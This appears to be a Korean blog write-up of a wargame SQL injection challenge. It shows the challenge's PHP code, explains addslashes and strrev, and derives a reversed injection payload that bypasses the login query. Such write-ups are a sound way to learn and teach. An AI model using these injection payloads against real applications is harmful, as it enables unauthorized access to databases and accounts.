반응형

이전의 succubus문제와 유사하게 풀면된다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

여기서 알아야할 함수는 두가지이다.

addslashes : ', " , %00(null) 뒤에 역슬래시를 추가한다.

strrev() : 문자열을 반대순서로 입력한다.

ex. strrev(test) -> tset

 

일부러 addslashes를 이용하는 payload를 구성하면 아래와 같다.

id="&pw=or 1=1%23

 

이제 입력하기 위해 역순으로 만들어준다. 이 때, %23역시 32%로 만들어주면 #으로 인식하지 못하기에 %23은 그대로 입력해주어야한다.

그리하여 최종적인 payload는 아래와 같다.

?id="&pw=%231=1%20ro

 이렇게 보내면, highlight친 부분이 문자열로 처리되기에 뚫리는 것이다.

반응형

'wargame' 카테고리의 다른 글

simple-operation  (0) 2023.09.18
Broken Buffalo Wings  (0) 2023.09.10
phpreg  (0) 2023.08.27
type confusion  (0) 2023.08.27
tmitter  (0) 2023.08.26

+ Recent posts